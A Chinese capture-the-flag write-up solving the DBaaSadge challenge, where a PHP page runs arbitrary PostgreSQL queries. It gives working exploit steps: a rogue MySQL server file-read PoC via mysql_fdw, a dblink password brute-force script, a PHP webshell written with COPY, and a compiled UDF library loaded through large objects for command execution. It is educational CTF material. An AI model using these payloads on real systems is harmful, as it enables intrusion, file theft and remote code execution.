当前位置: 首页 > 技术干货 > Real World CTF 2020 DBaaSadge Writeup

Real World CTF 2020 DBaaSadge Writeup

发表于:2021-01-12 13:55 作者: mtr 阅读数(2497人)

昨天刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。

由于大部分关键的技术点是我队里的亲姐们——鱼先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我)

https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426

这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。

本文涉及知识点实操练习:使用burp进行暴力破解  (通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。)

复现环境下载

链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA 
提取码:kwck 
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享

源码分析

打开题目直接显示源码

<?php
error_reporting(0);

if(!$sql=(string)$_GET["sql"]){
  show_source(__FILE__);
  die();
}

header('Content-Type: text/plain');

if(strlen($sql)>100){
  die('That query is too long ;_;');
}

if(!pg_pconnect('dbname=postgres user=realuser')){
  die('DB gone ;_;');
}

if($query = pg_query($sql)){
  print_r(pg_fetch_all($query));
} else {
  die('._.?');
}

这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。

第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试

进入postgre交互式命令行的方式是

psql

如果你在这步就报错了,请切换到postgres用户再做

pg_query的报错函数为:

print_r(pg_fetch_all($query));

因此我们在最后一个else里面加上这个函数

这样只要我们输入错误,显示的就是具体语句查询时候的报错。

查询时报错

接下来我们首先看看这个postgre的版本和用户

postgre的版本和用户

postgre的版本和用户

这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本

select user;
select version();

根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。

当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路

接着我们在题目给的dockerfile里面看到他安装了两个扩展安装了两个扩展

在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展

其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库

select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');

而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式

于是我们亲爱的鱼就想到了rouge-mysql

这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)

从这里下载到脚本

https://github.com/allyshka/Rogue-MySql-Server

有两个版本,py版本和php版本,这里推荐php版本

py版本为什么不好原因有3:

1. 后台监听且不回显
(你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错)
2. 结果在同目录下的一个mysql.log文件里,差点没找到。
3. 每次读取还得自己改一下源码里面的文件名

php版本就很人性,动态输入文件名,然后直接回显在屏幕上。

动态输入文件名

postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子:

https://blog.csdn.net/bingluo8787/article/details/100958098

我们不用创建那么大的表格,随便填一个id int就行

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');

CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');

CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');

select * from test;

DROP SERVER mysql_server

最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改

最后读取的poc如下:

import requests
import hashlib
import random
import uuid
url ="http://54.219.197.26:60080/?sql="

#填你的IP
ip="***"
port="***"
server_name="aaaa"
dbname=server_name
Table_name=server_name

poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"

#poc2里填写你自己mysql的用户名密码

poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name

r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)

在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件

远程读取到服务器文件

那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。

这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害

我的想法

寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser

但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。

5位随机字符串

但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后:

读取以后

这个很明显是不能够登录的,到了这里我就开始想爆破密码了

爆破的poc为

http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);

如果成功连接那么网页会回显

Array
(
    [0] => Array
        (
            [dblink_connect] => OK
        )

)

错误则是回显颜文字

爆破的时候用的是burpsuite的Turbo intruder

Turbo 介绍

和普通的intruder不同,这个速度差不多是原来旧版本的10倍

我相信很多人还是在使用intruder(还是换了吧,那个确实慢)

每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好

安装burp

当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址

https://portswigger.net/bappstore

这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以

主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好

然后爆破的时候需要在框里面填一下py的功能函数

如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):

from itertools import product
def brute_veify_code(target, engine, length):
   pattern = '1234567890abcdefghijklmnopqrstuvwxyz'
   for i in list(product(pattern, repeat=length)):
        code =  ''.join(i)
        engine.queue(target.req, code)
def queueRequests(target, wordlists):
   engine = RequestEngine(endpoint=target.endpoint,
           concurrentConnections=30,
           requestsPerConnection=100,
           pipeline=True
           )
   brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
 if 'error' not in req.response:
      table.add(req)

然后在url里面需要爆破的位置用%s表示

爆破验证码

这个速度是真的很快的,一秒大概4000多个

如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。

然后这题6千万个密码,就把我电脑内存和带宽跑炸了......

鱼哥的做法

怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置

这里说一下postgre的交互式命令行

进入postgre的交互式命令行的命令为

psql

你也可以用

psql -c "commond"

来直接执行命令,和mysql一样

但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:

出现错误

所以我们要切换到postgres用户

换到postgres用户

然后我们查询系统变量

查询系统变量

这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好

然后我们进入目录下,发现一堆文件

发现一堆文件

如何寻找密码文件呢,前面看了conf文件为md5加密

这里教大家一个方便查找文件内容的命令egrep

egrep -r "内容" 目录

其中内容部分支持正则表达式

支持正则表达式

最后发现在global/1260里面

发现密码

提供一个爆破md5的工具,这个是真的很快:

http://c3rb3r.openwall.net/mdcrack

爆破方式参考

http://www.91ri.org/1285.html

很快啊,他就直接出来了,前面5位就是密码,后面的是用户名

爆破密码和用户名

还记得dblink扩展的作用吗,用来连接postgre数据库。

然后我们就可以用dblink直接登录superuser了

用dblink直接登录superuser

所以剩下的问题就是用superuser执行命令的问题了

只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。

然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。

我的想法

由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。

没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在蚁景的文章再学一下。

于是我实验了postgre的存储过程,也很快,因为这个确实熟悉

实验了postgre的存储过程

只要发送如图上两次请求就可以调用d函数中的select语句

但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。

但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)

鱼哥的想法

鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。

可以将

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

变形为

SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);

第一个select做连接,第二个做执行命令。

调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"

poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"

poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"

poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行

坑点又来了!

这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:

查询的时候会报错误

具体原因尚未分析。

varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。

要写入mysql的poc

drop table b;

create table b(s varchar(20000),m varchar(44000));

insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');

弄好以后差不多如下

要写入mysql的poc

然后poc:

import requests
import random
import uuid
url ="http://IP/?sql="

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)

然后对面的/tmp目录就写了个文件

22.png

这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令

这个是固定的用法了

参考

https://blog.csdn.net/qq_33020901/article/details/79032774

这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可

大致过程如下:

  1. 按照题目postgre的大版本编一个符合版本的.so
  2. .so文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里
  3. 发送poc让对面服务器来我们这里查询出来语句并且执行

udf.so编译过程

先去这个网页下载编译程序

https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys

然后进入题目docker

先安装一个postgre-server-dev,不然很多头文件没有。

apt install postgresql-server-dev-all

然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。

复制第一句目录

然后将下载的复制到docker里面

make 10

就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so

报错不用管他

这个就是我们需要的udf.so

然后是分片

因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败

用python脚本去分割udf.so文件

Python

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 2048 == 0:
            print "\n"
    fileobj.close()

会出来6个大块,分为6条语句,和参考网页里的一样

https://blog.csdn.net/qq_33020901/article/details/79032774

SELECT lo_create(9023);
 
insert into pg_largeobject values (9023, 0, decode('...');
insert into pg_largeobject values (9023, 1, decode('...');
insert into pg_largeobject values (9023, 2, decode('...');
insert into pg_largeobject values (9023, 3, decode('...');
insert into pg_largeobject values (9023, 4, decode('...');
insert into pg_largeobject values (9023, 5, decode('...');

SELECT lo_export(9023, '/tmp/testeval.so');

实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题

然后删除原来的表,重新添加

drop table b;

create table b(s varchar(20000),m varchar(44000));

insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......

然后运行刚才的poc,写入/tmp/testeval.so

写入so以后,我们需要执行以下sql语句来执行命令

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
 
select sys_eval('id');

原来的参考网站有一条

drop function sys_eval;

应该是写错了,加了这个不能运行

再次清空我们服务器上的mysql数据表,重新建立

drop table b;

create table b(s varchar(20000),m varchar(44000));

insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

然后再次运行poc,得到flag

得到flag

总结

队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看

https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426

总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。